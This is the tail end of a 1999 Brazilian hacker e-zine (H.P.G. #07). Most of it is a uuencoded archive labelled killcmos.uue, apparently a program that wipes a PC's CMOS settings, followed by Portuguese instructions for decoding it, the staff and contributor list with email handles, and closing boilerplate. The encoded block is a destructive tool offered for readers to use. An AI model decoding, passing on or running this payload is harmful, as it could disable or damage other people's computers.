M?9;1TSEH=#X(;[_<KY^ACE>*OOBQ/;/FB%&2)UPO#^[^OC5\:R3<M^C4UX#P
MN4"`]W,@PN>TVX2'YV;[SVLCW3I**&WH'^<DPH0K(2%6:[N+M.(80ZX`$F<5
MD$!$\?2<<PL;+;OEWD?O.G1\9Y+V)ERTJ)(%0A+M&:$,BCMRU]BR*G2Y]647
ML"8H&H?R7(WP%[96:'S#X&!<)7ZS`30\OG5WM.F6EUT%`.;1&`S6]UM,^9
MV=E*BXFX]-)?"YP&X\`S5?QBREP`1!]U!='\6C4GUS%DSX6^!VUDH7CYKIN
MV;XB/`5;Z-(_CP?#IAW'BQOL"/NX;:<VM.0N;RDS[13PD<8?_"T7T1G"Q*
MC9LN%H1&W$$27^HY&>Z:<O=A4W5;5Z!S;-9;JY>KLNF^GWI`$!?6I%4"BUX6
MF<XU>3T&D$UHLN\.[6M4ED#GDK96S!;U/-<,G)'X/RY/Y^^XR-*#EE'P?TI!
M/M3H=1T=GG0[Q\;"?MBM<CR=4NTN*'YD=F,NQU!H;R3"@5\V5Y=J\/.GPXY
M6'W?8/K^!14>]:K;63;DA5PBAT(.:*HC*$<6\;;`UGG.VTAFAXT2U23-&2VQ
MQ2-VM":!NRCR;K/F?8^C3A=%$]6#EK=M(3.5+ZP6R(W8O(^8\0="!%V4&TC
M(/=P(URR4FF5*:H>L9?O?=+4LK.EYMO_P2I0_D2CB]=H<D&UA]JW1L<JE_P`
MDE0+?>+5IT4-1]X>:;0L:W3A6KG:N&Q(17MBMW0$=G3M`*Y%$\/29>H*FA
M<+AL.;WV=Z!5J`0-`7I"UB_)JKD3/A*L6`*LUZHNI-?$)ZTC((PE"VXX?-$
MX`R`[;5._<;#'Y!0HXWM&=8W&>SM$/+Z1ON8FJ3BP/7YCWT6ZZX+R)?2=B3T
M\3O)3.'#KS!^6P.VD*P(T`:%IB/<\$-.^BYA$.K'?+NBT/MQLX*63"FQSQ&,
MO<&1.']1X+"BAK/^VRD-M=Z/@U9LY9J%?@1^GB(N$SM12-ORK$_RU@;V
MYRE_BD>!N578R3R-9-*0`K+H'K)=8-71=2)TN%ACT\AK/H177_I>[,YK2F<
M3E%_4N^G1/JH]=_D*19_&I]?#/MB.ICUQ7!PW!]-^ZV#DCNNX\NC%V+Z8CKK
MGV/W-A=1^^;_>3QX2,1SX;Q:!:+LZL7[YL;S\[`OB=.8_'DT=-'3WOB<AJ3
M,%\;RM;]-V_>W!=//OGXX6=/#P^[G:,C0O_VVT\?=3O/XF]NOOWDDT/OIC_8
M?.AM'FJTK`,JC&5V^_&D]-X-/@VGW&Z+3C\_[W,!]!T`VX[':^&UV>'_4G
M8OR,S3<]0+M_<3GK3Z:U)4^^;Q\`A`K:PMEN9V$HG2GLFZRJCX+0[GP79)Z,
M3RZ/9RVRT4T81X%:8V<LLQL2WF)V)Z3BG+F_26`UY1O`;FH<9PHW8V=,&T-
MY(0L[@#W"20U'+B)HI'U`>>W,CLO\+,AE%OAYG=3D#-WBW8%%61\I:?[+:T
M=$91A,:*FANV[WB0,X'`R.8YQV)H,M-P66W]:0]*=3[T6%W`-O.CKSIW45
MMF:6<('.:(FD9UT;DR(/KB"/4--%.:O\R159J]OAG2M7&VTB^$0KX"B)),Z
M=_X4THM,E0+H(<NP6V)V.PMU.]C;,5'U!N7",=[K?)UIE?8"QM+*6B+&)8_$
M)%&8261V[.B<35DZ-2@;%,2>5I<%T??5E]V15!GZVG6%14-I*C58<0B'\TI
MPRCF_"(J_+1-EQE+!C"C;J;GK02P`W=ZI((0#O^PRD%XI+*7-(A1CC2S(QC
M05-92A&(>^/2;S449MV./Y>LP9DG<1TO=XA-3I[3^:U,7VOJ#T,D0"&G^[P
MVD*X*EG5,D2\*R_XEYZ"#L7)74SOGF.%_;I:YUIR%LC6=8BY<-=");[)[SJ0
MH"(EXLUTZ'8LNG6;9LK5/T?1PKPYG*3H":>W!"8`43"@>$NN+N=.;8C/LBL
M=M>4M.'L]D=`#HG.^Q]EN4&E7ZYNY<<.K9J4"U8(=:JT%954%'4Y2:T'2NX
M*[`I$^0NP2-F)C>-,M-9C+(%_#WM`[0',35%L"#0A+MD2UA*UB.=YI;.2$I"
M(UA6[Q(+0DD-&9BBCPD)/1E*O8]@P[_UM5D5+=SARHU"_ZIDQ0(`F+]L_Y)
M?Q(/Q?'X<C+SA^0Y()N6=SL_5."7:B\UG\AY`\00IG`/CQ'/U]1/5`5M-D^5
ML4LM:[^%[C!`G?%C"&0%"2\6V4N;O"@`*4H2E`"PL^FV$"@>L6C%Y_?50"Y
MS3DYF?2GT]OCX35/.1[,L![7C2GWIH(&OA?>')CP#=7H;P<7GYI^5P\HLN+
M<#F:36Z+0.O]@)?C<G8VGR^[9^`X.!T%,\N)T2T=8;SGHM#<3`;8L6?S&CZ
MD1,6]M;H7_42+>E:PMW)J"87Q+G[NE.(UN)NIU_\8+8]NKM]_G77:<E4K4N5
MSQ'D'WU6KGKT,\133^>_4$L#!!0````(````/"$D?`G5UP(``.L(```+````
M34E34TE/3BY.1D^ME,UNVD`0Q^^1\@[31&J3*(5P:9O<W,8)$00JH*55U</&
M'F"+\4:[:Q!]L4KWGH(!TZ5>N%ENE[;>`$G(+4C;._'S&]GYF\#H.S/K_]@
M/_;W(A9,]!T6B\4T?<27MI7!%""=9/Y3#=F`)9$3B*_97%EH#M+5U%,S)[FP
M6;0_RV";F4V2V`2;+N;!)@_*(4Q#'N8Z!6.P#HO\IX_"5%P(6=BK7DY4![Q
M9!9FLSQ8!$J?\36/6V4,0DAF(62S,#>SE1Y-ETNF<K%T.;8I*%>3%U5;EG3
M+K"5?)*N&,HE2N\(F\7U&YFM*A<KO2/,'.0H-P]A9UBJ9BK3AG*FSX:MP1Y1
M\0D%37M,S145D_9MM;R>+38:;S3S*<L58./[,V!-UI%MPO%[`8[<8RB=OW[S
MLG1^_BH'EFEGJI@,MMJZ`$OM3!73I6VV#OLG2V&_M__#;[>?":QUTZK:%U"A
MU>J[VWH3AJ7"&<`A4!^:*"^5"Q%;DWDE'AP>`&UH5OK5K-;K2MAKV_M[]7
M1L]C<,4I^JXXC5;@!*!('M4`%$_T.A[(L2(<1?ZU/.0%Y2?3J*BIMKACCJ
M$,\;PP%'5(<P)@%'!PVN`\D\A<B!JDM2?VN`,G4&0=XDC&QQKF8H<$GA0%
M:#/>%S"BL=6M:HC"Y`5RGQUCM,C?A>%>J+3%\%`P',8$B]`H6&R1R0,2%]Y
M1.<,F+KS.T94#9K!<8A<JKR=?I1+DD>6^X%G)P`W+3LFXWH59O00/?<];E
M9!!7ITD>[:/JTU75:I:A4;^%-J>J8G`9&AB3<FG=6M<VE%4R(_5=F*5Q)*XH
MCB*"[I':5BJP3E1$(GM\JJZOJQH-D;-$/_*.:AJ[9'RJ:W9IIX,<?0>!QEWX
M:%4_V'%L"ALA=.E0><@C9\#$L<ZXS.X1/K,`;/\;&^N7X9FNY)(7H$%5ZU4;
M*W1PY^&76E"QB]?H?_JJ7XJ_4$L!`A0`%`````````\(9`1H%_6````MP$`
M``L``````````0``+:!`````$9)3$5?240N1$E:4$L!`A0`%````````@[
M(4MPP5ZZ"```(`D```P`````````````/^!_P```$M)3$Q#34]3+D-/35!+
M`0(4`!0````(```(.R'X1,E5^`X``!0B```,``````````$`(`"V>,)``!+
M24Q,0TU/4RY.1D]02P$"%``4````"````#PA)'P)U=<"``#K"```"P``````
M```!`"``MH$%&0``34E34TE/3BY.1D]02P4&``````0`!`#F````!1P`````
`
end

***=-=-=-=-=-=-=-=-=-=[killcmos.uue]=-=-=-=-=-=-=-=-=-=-=-=-***


P.S.: Para usar este programa e' preciso "decodia'-lo". Copie a parte
encoded do programa e cole num arquivo novo. Depois use algum programa
que decodeie.. No linux e' : $ uudecode [-o outfile] [ file ]

cabooooo!!!!!!


 Ŀ
( 23 ) Entrando em contato   
 
   Ĵ  By The Staff `
     

	Aqui estao listados todos os e-mail dos membros e colaboradores
desta edicao. Se for um assunto especifico sobre uma materia, envie o
e-mail para o devido autor. Comentarios gerais, elogios, criticas
mande para hackphrgroup@zipmail.com.br


				.oO THE STAFF Oo.

		Editor in chief - xt0rm (xt0rm@usa.net)
			oooooooooooooooooooooooooooooooooo
		Editor in chief - BLAcK MaSK (black_mask@usa.net)
			  oooooooooooooooooooooooooooooo
		Executive editor - tOneOne (toneone@usa.net)
			    oooooooooooooooooooooooooo
		Foreign affairs - SyCoFlUiD (sycofluid@usa.net)
			      oooooooooooooooooooooo
		Mascote - B0mB4sT1c (bombastic@linuxbr.com.br)
			        oooooooooooooooooo
		Advertising boy - sOurce (source@biosys.net)
			          oooooooooooooo
		Lutador de Jiu-Jitsu - LiVE (live@usa.net)
			            oooooooooo
		Amphibian - Phroide
			              oooooo
		TelCo Man - The Crow (thecrow_mail@yahoo.com)
			                oo

							
XXX skr1pt k1ddies (a.k.a. lamers) : BLAcK MaSK, tOneOne and sOurce
XXX coders : B0mB4sT1c, LiVE, and SyCoFlUiD
XXX phreak boys : Phroide, The Crow and xt0rm
XXX eterno filosofo : Pensador

Colaboradores :
--- Apocalypsis	-	apocalypsis@quake-br.com.br
--- inth	-	inth@linuxbr.com.br             
--- isalphanum  -   	austin@linuxbr.com.br
--- Laukiller   -	mestre@grex.cyberspace.org
--- Pensador    -	pennsador@hotmail.com
--- {Ricardo} 	-	ricmir@freemail.com.br 


"Those who would sacrifice a little privacy for more security, deserve
neither privacy nor security."  
                                                                 Ben Franklin


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	*** H.P.G. - High Technologies and Research Heavy Industries ***
		  Publication #07, January, 1999 - All rights reserved.

				--=+ +-=- ++=+

Toda e qualquer informacao retirada deste e-zine deverah conter entre outras
coisas,o autor e numero da edicao.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
				End^Of^File
